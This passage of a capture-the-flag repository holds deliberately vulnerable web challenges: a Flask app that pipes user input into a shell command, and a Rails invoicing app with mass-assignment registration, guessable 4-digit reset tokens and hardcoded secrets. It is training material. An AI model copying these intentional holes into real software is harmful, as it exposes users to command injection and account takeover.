19 | --rm "unitedctf-sysadmin-$1" 2>/dev/null -------------------------------------------------------------------------------- /challenges/web/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/web/.gitkeep -------------------------------------------------------------------------------- /challenges/web/JavaScript/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:7.4.7-apache 2 | -------------------------------------------------------------------------------- /challenges/web/JavaScript/README.md: -------------------------------------------------------------------------------- 1 | # JavaScript 2 | 3 | > web 4 | 5 | Author: [Simon Thiboutôt (lilc4t)](https://github.com/masterT) 6 | 7 | http://127.0.0.1:12001/ 8 | 9 | ## Setup 10 | 11 | Requirements: 12 | - docker 13 | 14 | Start: 15 | 16 | ```shell 17 | docker-compose up 18 | ``` 19 | -------------------------------------------------------------------------------- /challenges/web/JavaScript/src/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | JavaScript 8 | 22 | 23 | 24 |
25 |
26 |
27 |

JavaScript

28 |

The browser's programming language, it's good for many things, but it's code while always be accessible.

29 |

Challenges

30 | 38 |
39 |
40 |
41 | 42 | 43 | -------------------------------------------------------------------------------- /challenges/web/cmd-injection/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.6 2 | 3 | RUN mkdir /app 4 | WORKDIR /app 5 | 6 | COPY ./requirements.txt /app/requirements.txt 7 | RUN pip3 install -r /app/requirements.txt 8 | 9 | COPY ./app.py /app/app.py 10 | COPY ./flag /app/flag 11 | COPY ./static /app/static/ 12 | COPY ./templates /app/templates/ 13 | 14 | USER 1000 15 | ENTRYPOINT [ "flask", "run", "--host", "0.0.0.0" ] 16 | -------------------------------------------------------------------------------- /challenges/web/cmd-injection/README.md: -------------------------------------------------------------------------------- 1 | # Injection de commandes 2 | 3 | > Web 4 | 5 | Author: @xshill 6 | 7 | Saviez-vous que la plupart des langages de programmation permettent d'appeler des commandes shell externes? Ça peut être pratique... mais attention à ne pas rendre votre site vulnérable. ;) 8 | 9 | Ce challenge montre un exemple de vulnérabilité appelée injection de commandes. Elle se produit lorsqu'il est possible pour un attaquant de modifier la commande qui sera effectuée par le programme. 10 | 11 | Votre défi est d'exploiter cette vulnérabilité afin de lire le contenu du fichier `flag`. Bonne chance! 12 | 13 | > **NOTE**: le serveur roule sur Ubuntu 18.04 et le shell est `/bin/bash`. 14 | 15 | ## Setup 16 | 17 | Requirements: 18 | - None 19 | 20 | Start: 21 | 22 | ``` 23 | docker-compose up cmd-injection 24 | ``` 25 | -------------------------------------------------------------------------------- /challenges/web/cmd-injection/app.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | 4 | from flask import Flask, render_template, request 5 | 6 | app = Flask(__name__) 7 | app.config['TEMPLATES_AUTO_RELOAD'] = True 8 | app.jinja_env.auto_reload = True 9 | 10 | @app.route("/", methods=["GET"]) 11 | def get_index(): 12 | return render_template("index.html") 13 | 14 | @app.route("/", methods=["POST"]) 15 | def post_index(): 16 | text = request.form.get("text") 17 | cmd = f"echo '{text}' | grep -oiP 'FLAG-[abcdef0-9]+'" 18 | 19 | print(cmd, flush=True) 20 | stream = os.popen(cmd) 21 | 22 | return render_template("index.html", output = stream.read()) 23 | 24 | @app.route("/source") 25 | def source(): 26 | with open(__file__, "r") as f: 27 | code = f.read() 28 | 29 | return render_template("code.html", code = code) 30 | -------------------------------------------------------------------------------- /challenges/web/cmd-injection/flag: -------------------------------------------------------------------------------- 1 | FLAG-eca40c791011bb2f7830ce6343df95c5 2 | -------------------------------------------------------------------------------- /challenges/web/cmd-injection/requirements.txt: -------------------------------------------------------------------------------- 1 | flask 2 | -------------------------------------------------------------------------------- /challenges/web/cmd-injection/static/style.css: -------------------------------------------------------------------------------- 1 | /* Sticky footer styles 2 | -------------------------------------------------- */ 3 | html { 4 | position: relative; 5 | min-height: 100%; 6 | } 7 | body { 8 | margin-bottom: 60px; /* Margin bottom by footer height */ 9 | } 10 | .footer { 11 | position: absolute; 12 | bottom: 0; 13 | width: 100%; 14 | height: 60px; /* Set the fixed height of the footer here */ 15 | line-height: 60px; /* Vertically center the text there */ 16 | background-color: #f5f5f5; 17 | } 18 | 19 | 20 | /* Custom page CSS 21 | -------------------------------------------------- */ 22 | /* Not required for template or sticky footer method. */ 23 | 24 | .container { 25 | width: auto; 26 | max-width: 680px; 27 | padding: 0 15px; 28 | } 29 | -------------------------------------------------------------------------------- /challenges/web/cmd-injection/templates/code.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | Détecteur de flags 4 | 5 | 6 | 7 | 8 |
{{ code }}
9 | 10 | 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /challenges/web/invoicer/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ruby:2.5.7 2 | RUN apt-get update -qq && apt-get install -y sqlite3 3 | RUN mkdir /application 4 | COPY application /application 5 | WORKDIR /application 6 | ENV RAILS_ENV production 7 | ENV BUNDLER_VERSION=2.1.4 8 | ENV RAILS_SERVE_STATIC_FILES=true 9 | ENV FLAG_2=FLAG-94b98c9a4246392468e57df1a85cc649 10 | ENV FLAG_3=FLAG-47e3607c41a277b261556cc39bfe3e38 11 | ENV FLAG_1=FLAG-88541066556eecf7269cf2a4d0220222 12 | ENV SUPPORT_ACCOUNT_NAME="Invoicer Support Account" 13 | ENV SECRET_KEY="39f99671c9d3a697a8f72f876057848dbe47865ea3ccba1bdc1e1bc7b6ece782f9aff2b2ad5e41bb8073a7719d2d16618976b252790d2d4051a6b776a218b4a0" 14 | 15 | RUN gem update --system 16 | RUN gem install bundler -v $BUNDLER_VERSION 17 | RUN bundle config --global frozen 1 18 | RUN bundle install 19 | RUN bundle exec rake assets:precompile 20 | RUN bundle exec rake db:create 21 | RUN bundle exec rake db:migrate 22 | RUN bundle exec rake db:seed 23 | 24 | # Add a script to be executed every time the container starts. 25 | COPY entrypoint.sh /usr/bin/ 26 | RUN chmod +x /usr/bin/entrypoint.sh 27 | ENTRYPOINT ["entrypoint.sh"] 28 | EXPOSE 3000 29 | 30 | # Start the main process. 31 | CMD ["rails", "server", "-b", "0.0.0.0"] 32 | -------------------------------------------------------------------------------- /challenges/web/invoicer/README.md: -------------------------------------------------------------------------------- 1 | # Invoicer 1 2 | 3 | > web 4 | 5 | Author: Notre partenaire [Kimoby](/partenaires/kimoby). 6 | 7 | [https://challenges.unitedctf.ca:12004](https://challenges.unitedctf.ca:12004) 8 | 9 | Parfois, un mot de passe fort ne suffit pas. 10 | 11 | # Invoicer 2 12 | 13 | > web 14 | 15 | Author: Notre partenaire [Kimoby](/partenaires/kimoby). 16 | 17 | [https://challenges.unitedctf.ca:12004](https://challenges.unitedctf.ca:12004) 18 | 19 | Sans limite. 20 | 21 | # Invoicer 3 22 | 23 | > web 24 | 25 | Author: Notre partenaire [Kimoby](/partenaires/kimoby). 26 | 27 | [https://challenges.unitedctf.ca:12004](https://challenges.unitedctf.ca:12004) 28 | 29 | Des données secrètes. 30 | 31 | ## Setup 32 | 33 | Requirements: 34 | - docker 35 | 36 | Start: 37 | 38 | ```shell 39 | docker-compose up invoicer 40 | ``` 41 | 42 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/.gitignore: -------------------------------------------------------------------------------- 1 | # See https://help.github.com/articles/ignoring-files for more about ignoring files. 2 | # 3 | # If you find yourself ignoring temporary files generated by your text editor 4 | # or operating system, you probably want to add a global ignore instead: 5 | # git config --global core.excludesfile '~/.gitignore_global' 6 | 7 | # Ignore bundler config. 8 | /.bundle 9 | 10 | # Ignore the default SQLite database. 11 | /db/*.sqlite3 12 | /db/*.sqlite3-journal 13 | /db/*.sqlite3-* 14 | 15 | # Ignore all logfiles and tempfiles. 16 | /log/* 17 | /tmp/* 18 | !/log/.keep 19 | !/tmp/.keep 20 | 21 | # Ignore pidfiles, but keep the directory. 22 | /tmp/pids/* 23 | !/tmp/pids/ 24 | !/tmp/pids/.keep 25 | 26 | 27 | /public/assets 28 | .byebug_history 29 | 30 | # Ignore master key for decrypting credentials and more. 31 | # /config/master.key 32 | 33 | # /config/credentials/production.key 34 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/.ruby-version: -------------------------------------------------------------------------------- 1 | 2.5.7 2 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/Rakefile: -------------------------------------------------------------------------------- 1 | # Add your own tasks in files placed in lib/tasks ending in .rake, 2 | # for example lib/tasks/capistrano.rake, and they will automatically be available to Rake. 3 | 4 | require_relative 'config/application' 5 | 6 | Rails.application.load_tasks 7 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/app/assets/config/manifest.js: -------------------------------------------------------------------------------- 1 | //= link_tree ../images 2 | //= link_directory ../stylesheets .css 3 | //= link_directory ../javascripts .js 4 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/app/assets/images/.keep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/web/invoicer/application/app/assets/images/.keep -------------------------------------------------------------------------------- /challenges/web/invoicer/application/app/assets/images/help_center/password_reset.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/web/invoicer/application/app/assets/images/help_center/password_reset.gif -------------------------------------------------------------------------------- /challenges/web/invoicer/application/app/assets/images/help_center/password_reset_email.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/web/invoicer/application/app/assets/images/help_center/password_reset_email.png -------------------------------------------------------------------------------- /challenges/web/invoicer/application/app/assets/images/help_center/password_reset_update_password.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/web/invoicer/application/app/assets/images/help_center/password_reset_update_password.gif -------------------------------------------------------------------------------- /challenges/web/invoicer/application/app/assets/images/help_center/search_invoices.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/web/invoicer/application/app/assets/images/help_center/search_invoices.gif -------------------------------------------------------------------------------- /challenges/web/invoicer/application/app/assets/javascripts/application.js: -------------------------------------------------------------------------------- 1 | //= require_tree . 2 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/app/assets/stylesheets/application.css: -------------------------------------------------------------------------------- 1 | /* 2 | * This is a manifest file that'll be compiled into application.css, which will include all the files 3 | * listed below. 4 | * 5 | * Any CSS and SCSS file within this directory, lib/assets/stylesheets, or any plugin's 6 | * vendor/assets/stylesheets directory can be referenced here using a relative path. 7 | * 8 | * You're free to add application-wide styles to this file and they'll appear at the bottom of the 9 | * compiled file so the styles you add here take precedence over styles defined in any other CSS/SCSS 10 | * files in this directory. Styles in this file should be added after the last require_* statement. 11 | * It is generally better to create a new file per style scope. 12 | * 13 | *= require_tree . 14 | *= require_self 15 | */ 16 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/app/assets/stylesheets/help_center.scss: -------------------------------------------------------------------------------- 1 | // Place all the styles related to the help_center controller here. 2 | // They will automatically be included in application.css. 3 | // You can use Sass (SCSS) here: https://sass-lang.com/ 4 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/app/assets/stylesheets/invoices.scss: -------------------------------------------------------------------------------- 1 | // Place all the styles related to the Invoices controller here. 2 | // They will automatically be included in application.css. 3 | // You can use Sass (SCSS) here: https://sass-lang.com/ 4 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/app/assets/stylesheets/pages.scss: -------------------------------------------------------------------------------- 1 | // Place all the styles related to the pages controller here. 2 | // They will automatically be included in application.css. 3 | // You can use Sass (SCSS) here: https://sass-lang.com/ 4 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/app/assets/stylesheets/password_resets.scss: -------------------------------------------------------------------------------- 1 | // Place all the styles related to the password_resets controller here. 2 | // They will automatically be included in application.css. 3 | // You can use Sass (SCSS) here: https://sass-lang.com/ 4 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/app/assets/stylesheets/sessions.scss: -------------------------------------------------------------------------------- 1 | // Place all the styles related to the sessions controller here. 2 | // They will automatically be included in application.css. 3 | // You can use Sass (SCSS) here: https://sass-lang.com/ 4 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/app/assets/stylesheets/users.scss: -------------------------------------------------------------------------------- 1 | // Place all the styles related to the users controller here. 2 | // They will automatically be included in application.css. 3 | // You can use Sass (SCSS) here: https://sass-lang.com/ 4 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/app/controllers/application_controller.rb: -------------------------------------------------------------------------------- 1 | class ApplicationController < ActionController::Base 2 | before_action :authenticate! 3 | 4 | private 5 | 6 | def authenticate! 7 | unless current_user 8 | flash[:danger] = 'You must be authenticated to access this page.' 9 | redirect_to login_path 10 | end 11 | end 12 | 13 | def current_user 14 | @current_user ||= User.find(session[:user_id]) if session[:user_id] 15 | end 16 | 17 | helper_method :current_user 18 | end 19 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/app/controllers/concerns/.keep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/web/invoicer/application/app/controllers/concerns/.keep -------------------------------------------------------------------------------- /challenges/web/invoicer/application/app/controllers/help_center_controller.rb: -------------------------------------------------------------------------------- 1 | class HelpCenterController < ApplicationController 2 | skip_before_action :authenticate! 3 | layout 'help_center' 4 | 5 | def home 6 | render :home 7 | end 8 | 9 | def password_reset 10 | render :password_reset 11 | end 12 | 13 | def search_invoice 14 | render :search_invoice 15 | end 16 | end 17 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/app/controllers/pages_controller.rb: -------------------------------------------------------------------------------- 1 | class PagesController < ApplicationController 2 | before_action do 3 | if current_user.demo 4 | flash[:danger] = 'Forbidden: your account is limited to the basic feature.' 5 | redirect_to :root 6 | end 7 | end 8 | 9 | def metrics 10 | @flag = ENV['FLAG_2'] 11 | render :metrics 12 | end 13 | end 14 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/app/controllers/sessions_controller.rb: -------------------------------------------------------------------------------- 1 | class SessionsController < ApplicationController 2 | skip_before_action :authenticate!, only: [:new, :create] 3 | 4 | def new 5 | return redirect_to '/' if current_user 6 | 7 | render :new 8 | end 9 | 10 | def create 11 | return redirect_to '/' if current_user 12 | 13 | user = User.find_by(email: params[:email]) 14 | if user.try(:authenticate, params[:password]) 15 | flash[:info] = "Welcome back admin | #{ENV['FLAG_1']}" if user.admin? 16 | session[:user_id] = user.id 17 | redirect_to '/' 18 | else 19 | flash[:danger] = 'Invalid email or password.' 20 | redirect_to login_path 21 | end 22 | end 23 | 24 | def destroy 25 | flash[:success] = 'Successfully logout.' 26 | session[:user_id] = nil 27 | redirect_to login_path 28 | end 29 | end 30 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/app/controllers/users_controller.rb: -------------------------------------------------------------------------------- 1 | class UsersController < ApplicationController 2 | skip_before_action :authenticate!, only: [:new, :create] 3 | 4 | def new 5 | return redirect_to '/' if current_user 6 | 7 | @user = User.new 8 | 9 | render :new 10 | end 11 | 12 | def create 13 | return redirect_to '/' if current_user 14 | 15 | @user = User.new(create_params) 16 | if @user.save 17 | flash[:success] = 'Successfully registered.' 18 | redirect_to login_path 19 | else 20 | render :new 21 | end 22 | end 23 | 24 | def edit 25 | @user = current_user 26 | 27 | render :edit 28 | end 29 | 30 | def update 31 | if current_user.admin? 32 | flash[:info] = "#{ENV['SUPPORT_ACCOUNT_NAME']} can not update profile." 33 | redirect_to invoices_path 34 | return 35 | end 36 | 37 | @user = current_user 38 | if @user.update(update_params) 39 | flash[:success] = 'Profile successfully updated.' 40 | redirect_to :root 41 | else 42 | render :edit 43 | end 44 | end 45 | 46 | private 47 | 48 | def create_params 49 | params.require(:user).permit! 50 | end 51 | 52 | def update_params 53 | params.require(:user).permit(:name) 54 | end 55 | end 56 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/app/helpers/application_helper.rb: -------------------------------------------------------------------------------- 1 | module ApplicationHelper 2 | end 3 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/app/helpers/help_center_helper.rb: -------------------------------------------------------------------------------- 1 | module HelpCenterHelper 2 | end 3 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/app/helpers/invoices_helper.rb: -------------------------------------------------------------------------------- 1 | module InvoicesHelper 2 | end 3 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/app/helpers/pages_helper.rb: -------------------------------------------------------------------------------- 1 | module PagesHelper 2 | end 3 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/app/helpers/password_resets_helper.rb: -------------------------------------------------------------------------------- 1 | module PasswordResetsHelper 2 | end 3 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/app/helpers/sessions_helper.rb: -------------------------------------------------------------------------------- 1 | module SessionsHelper 2 | end 3 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/app/helpers/users_helper.rb: -------------------------------------------------------------------------------- 1 | module UsersHelper 2 | end 3 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/app/jobs/application_job.rb: -------------------------------------------------------------------------------- 1 | class ApplicationJob < ActiveJob::Base 2 | # Automatically retry jobs that encountered a deadlock 3 | # retry_on ActiveRecord::Deadlocked 4 | 5 | # Most jobs are safe to ignore if the underlying records are no longer available 6 | # discard_on ActiveJob::DeserializationError 7 | end 8 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/app/models/application_record.rb: -------------------------------------------------------------------------------- 1 | class ApplicationRecord < ActiveRecord::Base 2 | self.abstract_class = true 3 | end 4 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/app/models/concerns/.keep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/web/invoicer/application/app/models/concerns/.keep -------------------------------------------------------------------------------- /challenges/web/invoicer/application/app/models/invoice.rb: -------------------------------------------------------------------------------- 1 | require 'securerandom' 2 | 3 | class Invoice < ApplicationRecord 4 | belongs_to :user 5 | 6 | validates :user, presence: true 7 | validates :amount, numericality: { greater_than: 0 } 8 | validates :details, presence: true 9 | validates :details, length: { maximum: 255 } 10 | validates :recipient_email, presence: true 11 | validates :recipient_email, length: { maximum: 255 } 12 | validates :recipient_email, format: { with: /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\z/i } 13 | validates :recipient_name, presence: true 14 | validates :recipient_name, length: { maximum: 255 } 15 | 16 | before_create do 17 | assign_secure_token(:public_token, 34) 18 | end 19 | 20 | private 21 | 22 | def assign_secure_token(column, length) 23 | attempt = 0 24 | maximum_attempt = 10 25 | while attempt < maximum_attempt 26 | self[column] = SecureRandom.hex(length / 2) 27 | return unless Invoice.exists?(column => self[column]) 28 | 29 | attempt += 1 30 | end 31 | 32 | raise StandardError, "Could not generate #{column} after #{maximum_attempt} attempts." 33 | end 34 | end 35 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/app/models/super_hidden_secret_feature.rb: -------------------------------------------------------------------------------- 1 | class SuperHiddenSecretFeature < ApplicationRecord 2 | validates :name, presence: true 3 | validates :hidden, inclusion: { in: [true, false] } 4 | end 5 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/app/views/help_center/home.html.erb: -------------------------------------------------------------------------------- 1 |

Home

2 |

Welcome to the Help Center.

3 | 4 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/app/views/help_center/password_reset.html.erb: -------------------------------------------------------------------------------- 1 |

Password Reset

2 | 3 |

Go to the <%= link_to "login page", login_path%>. Then click on the Forgotten password? link. Type your email in the email input and click on the button Reset Password.

4 | 5 |

6 | <%= image_tag('help_center/password_reset.gif', class: "img-thumbnail") %> 7 |

8 | 9 |

Then you should receive an email that looks like this:

10 | 11 |

12 | <%= image_tag('help_center/password_reset_email.png', class: "img-thumbnail") %> 13 |

14 | 15 |

Follow the link /password_resets/XXXX/edit where the XXXX represents a securely random 4-digit number. Then you'll be able to change your password.

16 | 17 |

18 | <%= image_tag('help_center/password_reset_update_password.gif', class: "img-thumbnail") %> 19 |

20 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/app/views/help_center/search_invoice.html.erb: -------------------------------------------------------------------------------- 1 |

Search Invoice

2 | 3 |

Go to the <%= link_to "invoices page", invoices_path%>. Type your keyword in the keyword input and click on the button Search. This allows you to search for invoices by details, recipient name, and recipient email.

4 | 5 |

To reset the search click on the Reset link.

6 | 7 |

8 | <%= image_tag('help_center/search_invoices.gif', class: "img-thumbnail") %> 9 |

10 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/app/views/invoices/create.html.erb: -------------------------------------------------------------------------------- 1 |

Invoices#create

2 |

Find me in app/views/invoices/create.html.erb

3 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/app/views/invoices/new.html.erb: -------------------------------------------------------------------------------- 1 |

New Invoice

2 | 3 |

The invoice will be sent to the recipient email with a public link that inclus the invoice information.

4 | 5 | <%= form_for @invoice do |f| %> 6 | <% if @invoice.errors.any? %> 7 |
8 |

Form is invalid

9 |
    10 | <% @invoice.errors.full_messages.each do |message| %> 11 |
  • <%= message %>
  • 12 | <% end %> 13 |
14 |
15 | <% end %> 16 |
17 | <%= f.label :amount %> 18 | <%= f.text_field :amount, class: "form-control", type: "number", min: "1", required: true, placeholder: "Amount" %> 19 |
20 |
21 | <%= f.label :details %> 22 | <%= f.text_field :details, class: "form-control", required: true, placeholder: "Details" %> 23 |
24 |
25 | <%= f.label :recipient_name %> 26 | <%= f.text_field :recipient_name, class: "form-control", required: true, placeholder: "Recipient name" %> 27 |
28 |
29 | <%= f.label :recipient_email %> 30 | <%= f.text_field :recipient_email, class: "form-control", type: "email", required: true, placeholder: "Recipient email" %> 31 |
32 | 33 | 34 | <% end %> 35 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/app/views/invoices/public.html.erb: -------------------------------------------------------------------------------- 1 |

Invoice

2 | 3 |

Hi <%= @invoice.recipient_name %>, here is your invoice.

4 | 5 | Reference number 6 |

<%= @invoice.id %>

7 | 8 | Amount 9 |

<%= @invoice.amount %>

10 | 11 | Details 12 |

<%= @invoice.details %>

13 | 14 | Created at 15 |

<%= @invoice.created_at %>

16 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/app/views/invoices/show.html.erb: -------------------------------------------------------------------------------- 1 |
2 |

Invoice

3 | <%= link_to "Public link", public_invoice_url(public_token: @invoice.public_token) %> 4 |
5 | 6 | Id 7 |

<%= @invoice.id %>

8 | 9 | Amount 10 |

<%= @invoice.amount %>

11 | 12 | Details 13 |

<%= @invoice.details %>

14 | 15 | Recipient email 16 |

<%= @invoice.recipient_email %>

17 | 18 | Recipient name 19 |

<%= @invoice.recipient_name %>

20 | 21 | Created at 22 |

<%= @invoice.created_at %>

23 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/app/views/pages/metrics.html.erb: -------------------------------------------------------------------------------- 1 |

Metrics

2 | 3 |

Invoice metrics is coming soon.

4 | 5 |

<%= @flag %>

6 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/app/views/password_resets/edit.html.erb: -------------------------------------------------------------------------------- 1 |

Reset password

2 | 3 |

Hi <%= @user.name %> you can update your password with the following form.

4 | 5 | <%= form_for @user, url: password_reset_path(params[:id]) do |f| %> 6 | <% if @user.errors.any? %> 7 |
8 |

Form is invalid

9 |
    10 | <% @user.errors.full_messages.each do |message| %> 11 |
  • <%= message %>
  • 12 | <% end %> 13 |
14 |
15 | <% end %> 16 |
17 | <%= f.label :password %> 18 | <%= f.text_field :password, class: "form-control", type: "password", required: true, placeholder: "Password" %> 19 |
20 |
21 | <%= f.label :password_confirmation %> 22 | <%= f.text_field :password_confirmation, class: "form-control", type: "password", required: true, placeholder: "Password confirmation" %> 23 |
24 | 25 | 26 | <% end %> 27 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/app/views/password_resets/new.html.erb: -------------------------------------------------------------------------------- 1 |

Reset Password

2 | 3 | <%= form_tag password_resets_path, method: :post do %> 4 |
5 | <%= label_tag :email %> 6 | <%= text_field_tag :email, params[:email], class: "form-control", type: "email", required: true, placeholder: "Email" %> 7 |
8 | 9 | 10 | <% end %> 11 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/app/views/sessions/new.html.erb: -------------------------------------------------------------------------------- 1 |

Login

2 | 3 | <%= form_with method: :post do %> 4 |
5 | 6 | 7 |
8 |
9 | 10 | 11 |
12 |
13 | <%= link_to "Forgotten password?", new_password_reset_path %> 14 |
15 | 16 | <% end %> 17 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/app/views/users/edit.html.erb: -------------------------------------------------------------------------------- 1 |

Edit Profile

2 | 3 | <%= form_for @user do |f| %> 4 | <% if @user.errors.any? %> 5 |
6 |

Form is invalid

7 |
    8 | <% @user.errors.full_messages.each do |message| %> 9 |
  • <%= message %>
  • 10 | <% end %> 11 |
12 |
13 | <% end %> 14 |
15 | <%= f.label :name %> 16 | <%= f.text_field :name, class: "form-control", required: true, placeholder: "Name" %> 17 |
18 | 19 | 20 | 27 | 28 | 29 | <% end %> 30 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/app/views/users/new.html.erb: -------------------------------------------------------------------------------- 1 |

Register

2 |

Register now and start sending invoice to your customers.

3 | 4 | <%= form_for @user do |f| %> 5 | <% if @user.errors.any? %> 6 |
7 |

Form is invalid

8 |
    9 | <% @user.errors.full_messages.each do |message| %> 10 |
  • <%= message %>
  • 11 | <% end %> 12 |
13 |
14 | <% end %> 15 |
16 | <%= f.label :name %> 17 | <%= f.text_field :name, class: "form-control", required: true, placeholder: "Name" %> 18 |
19 |
20 | <%= f.label :email %> 21 | <%= f.text_field :email, class: "form-control", type: "email", required: true, placeholder: "Email" %> 22 |
23 |
24 | <%= f.label :password %> 25 | <%= f.text_field :password, class: "form-control", type: "password", required: true, placeholder: "Password" %> 26 |
27 |
28 | <%= f.label :password_confirmation %> 29 | <%= f.text_field :password_confirmation, class: "form-control", type: "password", required: true, placeholder: "Password confirmation" %> 30 |
31 | 32 | 33 | <% end %> 34 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/bin/rails: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | begin 3 | load File.expand_path('../spring', __FILE__) 4 | rescue LoadError => e 5 | raise unless e.message.include?('spring') 6 | end 7 | APP_PATH = File.expand_path('../config/application', __dir__) 8 | require_relative '../config/boot' 9 | require 'rails/commands' 10 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/bin/rake: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | begin 3 | load File.expand_path('../spring', __FILE__) 4 | rescue LoadError => e 5 | raise unless e.message.include?('spring') 6 | end 7 | require_relative '../config/boot' 8 | require 'rake' 9 | Rake.application.run 10 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/bin/setup: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | require 'fileutils' 3 | 4 | # path to your application root. 5 | APP_ROOT = File.expand_path('..', __dir__) 6 | 7 | def system!(*args) 8 | system(*args) || abort("\n== Command #{args} failed ==") 9 | end 10 | 11 | FileUtils.chdir APP_ROOT do 12 | # This script is a way to setup or update your development environment automatically. 13 | # This script is idempotent, so that you can run it at anytime and get an expectable outcome. 14 | # Add necessary setup steps to this file. 15 | 16 | puts '== Installing dependencies ==' 17 | system! 'gem install bundler --conservative' 18 | system('bundle check') || system!('bundle install') 19 | 20 | # puts "\n== Copying sample files ==" 21 | # unless File.exist?('config/database.yml') 22 | # FileUtils.cp 'config/database.yml.sample', 'config/database.yml' 23 | # end 24 | 25 | puts "\n== Preparing database ==" 26 | system! 'bin/rails db:prepare' 27 | 28 | puts "\n== Removing old logs and tempfiles ==" 29 | system! 'bin/rails log:clear tmp:clear' 30 | 31 | puts "\n== Restarting application server ==" 32 | system! 'bin/rails restart' 33 | end 34 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/bin/spring: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | 3 | # This file loads Spring without using Bundler, in order to be fast. 4 | # It gets overwritten when you run the `spring binstub` command. 5 | 6 | unless defined?(Spring) 7 | require 'rubygems' 8 | require 'bundler' 9 | 10 | lockfile = Bundler::LockfileParser.new(Bundler.default_lockfile.read) 11 | spring = lockfile.specs.detect { |spec| spec.name == 'spring' } 12 | if spring 13 | Gem.use_paths Gem.dir, Bundler.bundle_path.to_s, *Gem.path 14 | gem 'spring', spring.version 15 | require 'spring/binstub' 16 | end 17 | end 18 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/config.ru: -------------------------------------------------------------------------------- 1 | # This file is used by Rack-based servers to start the application. 2 | 3 | require_relative 'config/environment' 4 | 5 | run Rails.application 6 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/config/application.rb: -------------------------------------------------------------------------------- 1 | require_relative 'boot' 2 | 3 | require "rails" 4 | # Pick the frameworks you want: 5 | require "active_model/railtie" 6 | require "active_job/railtie" 7 | require "active_record/railtie" 8 | # require "active_storage/engine" 9 | require "action_controller/railtie" 10 | # require "action_mailer/railtie" 11 | # require "action_mailbox/engine" 12 | # require "action_text/engine" 13 | require "action_view/railtie" 14 | # require "action_cable/engine" 15 | require "sprockets/railtie" 16 | # require "rails/test_unit/railtie" 17 | 18 | # Require the gems listed in Gemfile, including any gems 